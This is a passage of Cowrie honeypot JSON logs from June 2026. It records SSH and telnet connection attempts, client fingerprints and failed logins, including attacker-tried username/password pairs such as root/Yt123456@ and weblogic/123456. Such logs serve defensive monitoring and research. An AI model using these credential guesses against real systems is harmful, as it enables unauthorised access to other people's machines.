f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:11.217903Z","src_ip":"97.74.87.152","session":"5d2fa96cd0fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"temp","password":"temp@1234","message":"login attempt [temp/temp@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:12.147899Z","src_ip":"97.74.87.152","session":"5d2fa96cd0fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22290,"dst_ip":"10.17.0.5","dst_port":22,"session":"eedc814faf17","protocol":"ssh","message":"New connection: 91.92.40.36:22290 (10.17.0.5:22) [session: eedc814faf17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:12.456342Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:13.374952Z","src_ip":"97.74.87.152","session":"5d2fa96cd0fa","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:13.555610Z","src_ip":"91.92.40.36","session":"eedc814faf17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:13.558957Z","src_ip":"91.92.40.36","session":"eedc814faf17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":55282,"dst_ip":"159.203.135.109","dst_port":22,"session":"a13fe239255b","protocol":"ssh","message":"New connection: 160.187.180.146:55282 (159.203.135.109:22) [session: a13fe239255b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:13.566606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:13.571461Z","src_ip":"160.187.180.146","session":"a13fe239255b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:13.779593Z","src_ip":"160.187.180.146","session":"a13fe239255b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yt123456@","message":"login attempt [root/Yt123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:14.638257Z","src_ip":"160.187.180.146","session":"a13fe239255b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:15.847851Z","src_ip":"160.187.180.146","session":"a13fe239255b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22344,"dst_ip":"10.17.0.5","dst_port":22,"session":"39c0c818e3e8","protocol":"ssh","message":"New connection: 91.92.40.36:22344 (10.17.0.5:22) [session: 39c0c818e3e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:18.991754Z"}
{"eventid":"cowrie.session.closed","duration":34.77342104911804,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:19.245905Z","src_ip":"172.81.62.90","session":"bbef169dd9e3","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:19.950883Z","src_ip":"91.92.40.36","session":"39c0c818e3e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:19.954016Z","src_ip":"91.92.40.36","session":"39c0c818e3e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"root","message":"login attempt [bob/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:20.051157Z","src_ip":"91.92.40.36","session":"eedc814faf17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:22.843456Z","src_ip":"91.92.40.36","session":"eedc814faf17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"123456","message":"login attempt [weblogic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:23.089334Z","src_ip":"91.92.40.36","session":"39c0c818e3e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.465131521224976,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:23.592716Z","src_ip":"128.199.8.54","session":"6b4d4db1a988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38706,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e36ebf54b9e","protocol":"telnet","message":"New connection: 128.199.8.54:38706 (159.203.135.109:23) [session: 7e36ebf54b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:24.727201Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:25.078435Z","src_ip":"91.92.40.36","session":"39c0c818e3e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22404,"dst_ip":"10.17.0.5","dst_port":22,"session":"73067f142543","protocol":"ssh","message":"New connection: 91.92.40.36:22404 (10.17.0.5:22) [session: 73067f142543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:25.569493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:26.951551Z","src_ip":"91.92.40.36","session":"73067f142543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:26.955544Z","src_ip":"91.92.40.36","session":"73067f142543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:30.053560Z","src_ip":"91.92.40.36","session":"73067f142543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:31.966708Z","src_ip":"91.92.40.36","session":"73067f142543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58954,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dfdc29c56c9","protocol":"ssh","message":"New connection: 91.92.40.36:58954 (10.17.0.5:22) [session: 2dfdc29c56c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:33.424380Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":43306,"dst_ip":"159.203.135.109","dst_port":22,"session":"9051fb376375","protocol":"ssh","message":"New connection: 103.84.236.242:43306 (159.203.135.109:22) [session: 9051fb376375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:33.608793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:33.613812Z","src_ip":"103.84.236.242","session":"9051fb376375","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:33.850172Z","src_ip":"103.84.236.242","session":"9051fb376375","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:34.327744Z","src_ip":"91.92.40.36","session":"2dfdc29c56c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:34.333280Z","src_ip":"91.92.40.36","session":"2dfdc29c56c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"django","password":"django1","message":"login attempt [django/django1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:34.828113Z","src_ip":"103.84.236.242","session":"9051fb376375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38358,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab52d1fceec4","protocol":"telnet","message":"New connection: 172.81.62.90:38358 (159.203.135.109:23) [session: ab52d1fceec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:34.958673Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:36.067446Z","src_ip":"103.84.236.242","session":"9051fb376375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123","message":"login attempt [myuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:37.606907Z","src_ip":"91.92.40.36","session":"2dfdc29c56c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:39.489850Z","src_ip":"91.92.40.36","session":"2dfdc29c56c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.37958288192749,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:39.735556Z","src_ip":"128.199.8.54","session":"21090696628b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53208,"dst_ip":"10.17.0.5","dst_port":22,"session":"e386e0d94844","protocol":"ssh","message":"New connection: 91.92.40.36:53208 (10.17.0.5:22) [session: e386e0d94844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:42.664211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:42.974891Z","src_ip":"91.92.40.36","session":"e386e0d94844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:42.978504Z","src_ip":"91.92.40.36","session":"e386e0d94844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"p@ssw0rd","message":"login attempt [odoo/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:43.864921Z","src_ip":"91.92.40.36","session":"e386e0d94844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:45.185045Z","src_ip":"91.92.40.36","session":"e386e0d94844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56078,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eba7fddef9b","protocol":"ssh","message":"New connection: 91.92.40.36:56078 (10.17.0.5:22) [session: 0eba7fddef9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:49.820834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:04:50.134197Z","src_ip":"91.92.40.36","session":"0eba7fddef9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 